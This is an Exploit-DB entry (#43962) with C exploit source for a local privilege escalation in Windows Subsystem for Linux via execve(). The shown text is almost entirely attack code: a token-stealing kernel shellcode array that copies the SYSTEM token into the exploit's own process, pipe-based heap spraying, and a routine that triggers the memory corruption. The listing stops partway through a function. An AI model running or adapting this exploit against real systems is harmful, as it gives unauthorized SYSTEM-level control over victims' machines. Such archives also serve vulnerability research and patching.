Exploit-DB #43962
Description: Microsoft Windows Subsystem for Linux - 'execve()' Local Privilege Escalation
Type: local
Platform: windows
Date: 2018-02-02
Author: Saar Amar

Exploit:
#define _GNU_SOURCE

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/ipc.h> 
#include <sys/sem.h>
#include <sys/shm.h>

#define RING_SIZE				0x2000000
#define PIPE_SIZE				0xb8
#define PTR_SIZE				0x8
#define STR_HDR_SIZE			0x18

#define LEAK_OFFSET				0x68
#define SHELLCODE_OFFSET		0x200
#define CHUNK_LVXF_OFFSET		0x138f4296
#define CR4_VAL_ADDR			0x506f8
#define MAGIC_KEY				0xefef
#define NT_OFFSET_TO_PIVOT		0x288005

size_t curr_key 				= 0;

char SHELLCODE[] = {
	//0xcc,
	0x90, 															// CLI
	0x90, 															// PUSHFQ
	0x48, 0xb8, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90,  	// MOV RAX, Original Pointer
	0x50, 															// PUSH RAX
	0x51, 															// PUSH RCX
	0x90, 0x90, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90,  	// MOV RCX, [OverwriteAddr+OverwriteOffset]
	0x90, 0x90, 0x90,  												// MOV    QWORD PTR [RCX], RAX
	0xb9, 0xfc, 0x11, 0x00, 0x00,  									// MOV ECX, PID

	0x53, 															// PUSH RBX

	0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00,  			// MOV    RAX,QWORD PTR gs:0x188
	0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00,						// MOV    RAX,QWORD PTR [RAX+0xb8] EPROCESS
	0x48, 0x8d, 0x80, 0xe8, 0x02, 0x00, 0x00,						// LEA    RAX,[RAX+0xActiveProcessLinkOffset] 

	//<tag>
	0x48, 0x8b, 0x00,												// MOV    RAX,QWORD PTR [RAX]
	0x48, 0x8b, 0x58, 0xf8,											// MOV    RBX,QWORD PTR [RAX-8] // UniqueProcessID
	0x48, 0x83, 0xfb, 0x04,											// CMP    RBX,0x4
	0x75, 0xf3,														// JNE    <tag>
	0x48, 0x8b, 0x58, 0x70,											// MOV    RBX, QWORD PTR [RAX+0x70] // GET TOKEN of SYSTEM
	0x90, 0x90, 0x90,
	0x53, 															// PUSH RBX
	//<tag2>
	0x48, 0x8b, 0x00,												// MOV    RAX,QWORD PTR [RAX]
	0x48, 0x8b, 0x58, 0xf8,											// MOV    RBX,QWORD PTR [RAX-8] // UniqueProcessID
	0x39, 0xcb,														// CMP    EBX, ECX // our PID
	0x75, 0xf5,														// JNE    <tag2>
	0x5b, 															// POP RBX
	0x48, 0x89, 0x58, 0x70,											// MOV    QWORD PTR[RAX +0x70], RBX
	0x90, 0x90, 0x90,

	0x5b, 															// POP RBX
	0x59, 															// POP RCX
	0x58, 															// POP RAX
	0x90, 															// POPFQ

	0xc3  															// RET
};

int calc_stop_idx(size_t alloc_size, size_t factor);
int get_size_factor(size_t spray_size, size_t *factor);
int trigger_corruption(int spray_size);
int call_LxpUtilReadUserStringSet(size_t argc, size_t innerSize, char pattern, size_t stopIdx);
int spray(size_t count);
int alloc_sem(size_t factor);
int free_sem(int key);
char *get_faked_shm();
void initialize_fake_obj(char *obj, char *shellcode_ptr, char *read_addr, size_t fake_shmid, size_t pid);
void trigger_shm(size_t shmid);
void print_shm(struct shmid_ds *buf);
void *absolute_read(void* obj, size_t shmid, void *addr);
int alloc_shm(size_t key);
int shape(size_t *spray_size);

int calc_stop_idx(size_t alloc_size, size_t factor) {
	size_t totalStringsLength, headersLength;

	totalStringsLength = (factor - 1) * 2 + 0xd001;
	headersLength = (factor * STR_HDR_SIZE) % (0x100000000);

	return (alloc_size + 496 + 0xc000) / STR_HDR_SIZE;
}

int get_size_factor(size_t spray_size, size_t *factor) {
	if (spray_size != 0x2000000) {
		printf("SPRAY_SIZE ISSUE\n");
		exit(1);
	}

	*factor = 0xab13aff - 0x800*2;
	return 0x15fffdfc;
}

int trigger_corruption(int spray_size) {
	size_t factor = 0, alloc_size, stopIdx;
	int ret;
	alloc_size = get_size_factor(spray_size, &factor);
	if (alloc_size < 0) {
		printf("[*err*] unsupported spray_size == 0x%x", spray_size);
		return -1;
	}

	stopIdx = calc_stop_idx(alloc_size, factor);

	ret = call_LxpUtilReadUserStringSet(factor + 1, 1, 'O', stopIdx);
	printf("[*] trigger_corruption() returned 0x%x\n", ret);
	return 0;
}

int call_LxpUtilReadUserStringSet(size_t argc, size_t innerSize, char pattern, size_t stopIdx) {
	char **argv, *innerBuf, *stopInnerBuf = NULL;
	size_t pid;

	argv = (char*)mmap(NULL, argc * sizeof(char*), PROT_READ | PROT_WRITE, 
                    MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	if(!argv) {
		perror("[*err*] malloc argv failed\n"); 
		return -1;
	}

	innerBuf = (char*)malloc(innerSize); 
	if (!innerBuf) {
		printf("[*err*] malloc innerBuf failed\n");
		return -1;
	}
	memset(innerBuf, pattern, innerSize);

	for(size_t i = 0; i < argc - 1; ++i) {
		argv[i] = innerBuf;
	}
	argv[argc-1] = NULL;

	pid = fork();
	if (pid) {
		// parent
		if(stopIdx > 0) {
			sleep(1.5);
			printf("[*] set stopIdx, stopping wildcopy\n");
			argv[stopIdx] = NULL;
		}
		return 0;
	} else {
		// son
		argv[stopIdx - 1] = (char*)malloc(0xe000);
		memset(argv[stopIdx - 1], "X", 0xd000-1);
		argv[stopIdx - 1][0xd000-1] = '\0';

		argv[stopIdx - 7] = (char*)malloc(0xe000);
		memset(argv[stopIdx - 7], "X", 0xd000-1);
		argv[stopIdx - 7][0xd000-1] = '\0';

		// this execve is on nonsense "program", so it will return err.
		// Just kill the thread.
		execve(argv[0], argv, NULL);
		exit(1);
	}
}

/*
	spray <count> chunks, and return number of total bytes allocated
*/
int spray(size_t count) {
	int exec[2];
	int pipe_capacity = 0, ret = 0;

	for (size_t i = 0; i < count; ++i) {
		if (pipe(exec) < 0) {
			printf("[*err*] pipe\n");
			ret = -1;
			goto cleanup;
		}		

		pipe_capacity = fcntl(exec[1], F_SETPIPE_SZ, RING_SIZE);
		if(pipe_capacity < 0) {
			printf("[*err*] fcntl return neg capacity\n");
			ret = -1;
			goto cleanup;
		}

		ret += pipe_capacity;
	}

cleanup:
	return ret;
}

/*
	allocate 12 * v_nsems + 176
*/
int alloc_sem(size_t factor) {
	int semid;
  	int nsems = factor;

  	semid = semget(curr_key++, nsems, IPC_CREAT | 0666);
  	if(semid == -1) {